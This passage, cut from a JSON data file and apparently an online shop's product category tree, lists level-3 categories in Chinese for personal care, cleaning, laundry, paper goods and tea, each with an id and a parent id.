"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25173,"name":"焗油手套","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25174,"name":"焗油梳子","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25163,"name":"焗油碗","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25171,"name":"焗油围布","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27177,"name":"焗油用具","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27034,"name":"美甲/修甲套装","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27325,"name":"女用剃毛刀","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27049,"name":"盘发器","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27036,"name":"喷瓶/面霜分装瓶","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27156,"name":"塑身贴/塑形带","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27042,"name":"剃须刀","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27298,"name":"剃须刀架/刀片","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27324,"name":"剃须清洁刷","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27048,"name":"洗脸刷","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27047,"name":"洗漱包","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27005,"name":"浴擦/浴刷","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25165,"name":"造型板","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27178,"name":"蒸汽眼罩","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27045,"name":"指甲钳","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27361,"name":"其它美甲工具","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27360,"name":"其它个护工具","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25178,"name":"其他焗油用品","parent_cid":21191,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27494,"name":"发包/丸子","parent_cid":21343,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27495,"name":"假发片","parent_cid":21343,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27509,"name":"假发用具","parent_cid":21343,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27511,"name":"整顶假发","parent_cid":21343,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27510,"name":"其它假发","parent_cid":21343,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27441,"name":"假牙及牙套清洁片/剂/粉","parent_cid":21192,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27364,"name":"口腔护理配件","parent_cid":21192,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27363,"name":"口腔护理套装","parent_cid":21192,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27180,"name":"口腔喷剂","parent_cid":21192,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27051,"name":"漱口水","parent_cid":21192,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27309,"name":"牙齿美白/护理剂","parent_cid":21192,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26931,"name":"牙膏","parent_cid":21192,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27037,"name":"牙刷/口腔清洁工具","parent_cid":21192,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27026,"name":"牙线/牙签/牙线棒","parent_cid":21192,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27777,"name":"男士护发素","parent_cid":21444,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27778,"name":"男士洗发水","parent_cid":21444,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27779,"name":"男士洗护套装","parent_cid":21444,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27776,"name":"男士造型","parent_cid":21444,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27723,"name":"男士沐浴露/皂","parent_cid":21383,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27766,"name":"男士身体磨砂膏","parent_cid":21383,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27681,"name":"男士身体乳","parent_cid":21383,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27679,"name":"男士爽身粉","parent_cid":21383,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27680,"name":"男士脱毛膏","parent_cid":21383,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27454,"name":"摩丝/啫喱/头发造型","parent_cid":21335,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27464,"name":"染发产品","parent_cid":21335,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27473,"name":"其他美发工具","parent_cid":21335,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26867,"name":"保暖贴","parent_cid":21197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27057,"name":"花露水","parent_cid":21197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27028,"name":"肩颈/膝肘贴","parent_cid":21197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27007,"name":"颈霜/颈膜","parent_cid":21197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27349,"name":"男士止汗露","parent_cid":21197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27055,"name":"暖宝宝","parent_cid":21197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26870,"name":"暖手贴","parent_cid":21197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27155,"name":"清凉油/防暑/醒神药油","parent_cid":21197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27367,"name":"身体护理套装","parent_cid":21197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27187,"name":"身体喷雾","parent_cid":21197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27149,"name":"身体乳/霜/精油/膏","parent_cid":21197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27058,"name":"身体皂","parent_cid":21197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27056,"name":"爽身粉","parent_cid":21197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27152,"name":"脱毛膏/凝胶","parent_cid":21197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27186,"name":"纤体绷带","parent_cid":21197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27151,"name":"纤体霜/凝露","parent_cid":21197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27157,"name":"止汗露/消臭剂","parent_cid":21197,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27673,"name":"护理精油/皂","parent_cid":21384,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27675,"name":"精油工具/器皿","parent_cid":21384,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27586,"name":"香薰/香薰工具","parent_cid":21384,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27428,"name":"鼻腔清洁及用具","parent_cid":21198,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27188,"name":"搓泥浴宝","parent_cid":21198,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27148,"name":"沐浴露/油","parent_cid":21198,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27299,"name":"泡澡花瓣/药包","parent_cid":21198,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27357,"name":"身体磨砂膏/去角质膏","parent_cid":21198,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26935,"name":"香皂","parent_cid":21198,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27059,"name":"洗手液","parent_cid":21198,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26934,"name":"浴盐","parent_cid":21198,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27052,"name":"护手霜","parent_cid":21193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27365,"name":"手部保养套装","parent_cid":21193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27181,"name":"手部磨砂","parent_cid":21193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26932,"name":"手膜","parent_cid":21193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27355,"name":"指甲修护乳/霜","parent_cid":21193,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26892,"name":"护垫","parent_cid":21181,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26904,"name":"裤型卫生巾","parent_cid":21181,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26900,"name":"私处洗液","parent_cid":21181,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34395,"name":"私护湿巾","parent_cid":21181,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26897,"name":"卫生巾","parent_cid":21181,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26898,"name":"卫生棉条","parent_cid":21181,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27184,"name":"护发精油","parent_cid":21194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27150,"name":"护发素/发膜","parent_cid":21194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27183,"name":"头皮护理","parent_cid":21194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27053,"name":"洗发水","parent_cid":21194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27185,"name":"洗护套装","parent_cid":21194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27182,"name":"其它护发","parent_cid":21194,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27366,"name":"胸部护理工具","parent_cid":21195,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27423,"name":"胸部护理精华/乳霜","parent_cid":21195,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22290,"name":"隐形眼镜伴侣盒","parent_cid":21333,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27310,"name":"足部磨砂/去角质","parent_cid":21196,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27006,"name":"足膜/足贴","parent_cid":21196,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26933,"name":"足霜","parent_cid":21196,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27054,"name":"足浴盐","parent_cid":21196,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28502,"name":"地面保养剂","parent_cid":21765,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28503,"name":"地面清洁剂","parent_cid":21765,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28501,"name":"地毯干洗剂","parent_cid":21765,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28500,"name":"家私清洁/护理剂","parent_cid":21765,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27690,"name":"空气净化剂","parent_cid":21765,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28504,"name":"皮具皮革护理剂","parent_cid":21765,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26813,"name":"鞋袜除臭剂","parent_cid":21765,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26812,"name":"鞋袜干爽剂","parent_cid":21765,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28499,"name":"鞋油","parent_cid":21765,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28603,"name":"玻璃清洁剂","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33833,"name":"不锈钢清洁剂","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28609,"name":"布艺用品清洁剂","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28608,"name":"多用途清洁剂","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28605,"name":"管道疏通剂","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33831,"name":"果蔬专用清洁剂","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33830,"name":"家电清洁剂","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33832,"name":"家庭除菌喷雾","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28600,"name":"家用除霉剂","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33829,"name":"洁厕凝胶","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28597,"name":"洁瓷剂","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28604,"name":"空调清洁剂","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28607,"name":"马桶清洁剂/洁厕剂","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33827,"name":"墙纸清洁剂","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28602,"name":"清洁剂套装","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28606,"name":"水垢清洁剂/除垢剂","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28598,"name":"洗洁精","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28610,"name":"洗碗机用洗涤剂","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33823,"name":"洗衣机槽泡腾片","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28611,"name":"洗衣机槽清洁剂","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28601,"name":"油污清洁剂","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33822,"name":"运动器材清洁剂","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33821,"name":"砧板喷雾","parent_cid":21778,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28524,"name":"护牙素","parent_cid":21768,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28546,"name":"口腔清新剂","parent_cid":21768,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28513,"name":"牙粉","parent_cid":21768,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28519,"name":"牙线/牙线棒","parent_cid":21768,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33929,"name":"家庭环境清洁泡泡/慕斯","parent_cid":21766,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28508,"name":"衣物鞋类清洁泡泡/慕斯","parent_cid":21766,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32618,"name":"除螨喷雾","parent_cid":21772,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28549,"name":"电蚊香套装","parent_cid":21772,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":24729,"name":"防虫/防蚊用品","parent_cid":21772,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28551,"name":"防霉防蛀片","parent_cid":21772,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28521,"name":"家用杀虫剂","parent_cid":21772,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28522,"name":"盘香/灭蟑香/蚊香盘","parent_cid":21772,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32611,"name":"驱蚊剂","parent_cid":21772,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32619,"name":"驱蚊喷雾/走珠","parent_cid":21772,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28556,"name":"驱蚊止痒凝露","parent_cid":21772,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28550,"name":"蚊香加热器","parent_cid":21772,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28536,"name":"蚊香片","parent_cid":21772,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28535,"name":"蚊香液","parent_cid":21772,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28527,"name":"护足霜","parent_cid":21769,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28539,"name":"身体乳液","parent_cid":21769,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32174,"name":"洗眼液","parent_cid":21769,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28528,"name":"浴足剂","parent_cid":21769,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28547,"name":"足部磨砂膏","parent_cid":21769,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28515,"name":"足贴","parent_cid":21769,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28577,"name":"冰箱除味剂","parent_cid":21775,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32610,"name":"除臭喷雾/剂/除臭用品","parent_cid":21775,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28576,"name":"干燥剂","parent_cid":21775,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28579,"name":"甲醛清除剂/甲醛测试","parent_cid":21775,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28578,"name":"空气清新/净化/芳香剂","parent_cid":21775,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28573,"name":"护发素","parent_cid":21774,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33826,"name":"消毒凝胶","parent_cid":33702,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33825,"name":"消毒泡腾片","parent_cid":33702,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33824,"name":"消毒喷雾","parent_cid":33702,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28599,"name":"消毒液","parent_cid":33702,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28580,"name":"彩漂","parent_cid":21776,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28583,"name":"干洗剂","parent_cid":21776,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28591,"name":"即时去渍剂","parent_cid":21776,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28587,"name":"留香珠","parent_cid":21776,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28581,"name":"内衣皂/内衣洗涤剂","parent_cid":21776,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28586,"name":"漂白剂","parent_cid":21776,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28593,"name":"手洗洗衣液","parent_cid":21776,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28498,"name":"鞋/靴干洗剂","parent_cid":21776,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28582,"name":"吸色片","parent_cid":21776,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28585,"name":"洗衣粉","parent_cid":21776,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28589,"name":"洗衣凝珠","parent_cid":21776,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28592,"name":"洗衣液","parent_cid":21776,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28584,"name":"洗衣皂","parent_cid":21776,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28588,"name":"衣领净","parent_cid":21776,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28595,"name":"衣物除菌剂","parent_cid":21776,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33043,"name":"衣物清洁慕斯","parent_cid":21776,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33042,"name":"衣物清洁泡泡","parent_cid":21776,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28594,"name":"衣物柔顺剂","parent_cid":21776,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28596,"name":"真丝羊毛等特殊材质洗衣液","parent_cid":21776,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28590,"name":"织物喷雾","parent_cid":21776,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28493,"name":"保湿纸巾","parent_cid":21763,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28490,"name":"餐巾纸","parent_cid":21763,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28488,"name":"擦手纸","parent_cid":21763,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28483,"name":"抽纸","parent_cid":21763,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28494,"name":"厨房纸巾","parent_cid":21763,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28495,"name":"大盘卷纸","parent_cid":21763,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28497,"name":"家用防油贴纸","parent_cid":21763,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28486,"name":"卷筒纸","parent_cid":21763,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28492,"name":"棉柔巾/洗脸巾","parent_cid":21763,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28496,"name":"平板卫生纸","parent_cid":21763,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28489,"name":"湿厕纸","parent_cid":21763,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28484,"name":"湿巾","parent_cid":21763,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28487,"name":"手帕纸","parent_cid":21763,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28485,"name":"卫生纸","parent_cid":21763,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28491,"name":"吸油纸/膜","parent_cid":21763,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26426,"name":"一次性洗脸巾","parent_cid":21763,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":28612,"name":"成人用纸尿护理用品","parent_cid":21777,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22299,"name":"白毫银针","parent_cid":20160,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22294,"name":"白牡丹","parent_cid":20160,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22292,"name":"贡眉","parent_cid":20160,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22291,"name":"寿眉","parent_cid":20160,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22298,"name":"其它白茶","parent_cid":20160,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22326,"name":"绿茶提货券","parent_cid":20168,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22325,"name":"普